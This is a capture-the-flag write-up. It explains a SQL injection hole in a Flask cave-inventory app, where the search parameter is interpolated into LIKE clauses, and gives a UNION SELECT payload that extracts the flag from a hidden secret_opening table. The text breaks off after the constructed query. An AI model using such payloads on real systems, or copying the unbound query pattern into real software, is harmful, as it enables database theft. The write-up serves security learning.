Explore the Cave — uiuc2026

Description

A beast once guarded this cave, but the treasure inventory is still hiding something legendary. Can you find the blue ocarina?

The handout provides a Flask application containing a searchable cave inventory. The goal is to find the hidden blue ocarina and recover the associated secret.

Analysis

Source review immediately identifies the vulnerable data flow. The /search endpoint reads the attacker-controlled q parameter and inserts it directly into three SQLite LIKE predicates (challenge/app.py:67-77):

term = request.args.get("q", "")

query = (
    "SELECT item_count, item, description FROM main_cave "
    f"WHERE item_count LIKE '%{term}%' "
    f"OR item LIKE '%{term}%' "
    f"OR description LIKE '%{term}%' "
    "ORDER BY item"
)

There is no parameter binding or escaping, so q can alter the query structure. Database initialization also reveals a second table (challenge/app.py:20-42):

CREATE TABLE main_cave (item_count TEXT, item TEXT, description TEXT);
CREATE TABLE secret_opening (item TEXT, secret, description TEXT);

The hidden table contains the blue ocarina row, and its secret column receives the flag from the environment. Most importantly, both the visible query and hidden table have three columns, making direct UNION extraction possible without padding or column-count discovery.

Solution

Use the following value for q:

' UNION SELECT item, secret, description FROM secret_opening-- 

Inserted into the application query, it produces the relevant structure:

SELECT item_count, item, description FROM main_cave
WHERE item_count LIKE '%%'
UNION SELECT item, secret, description FROM secret_opening-- '
OR item LIKE '...'
OR description LIKE '...'
ORDER BY item

...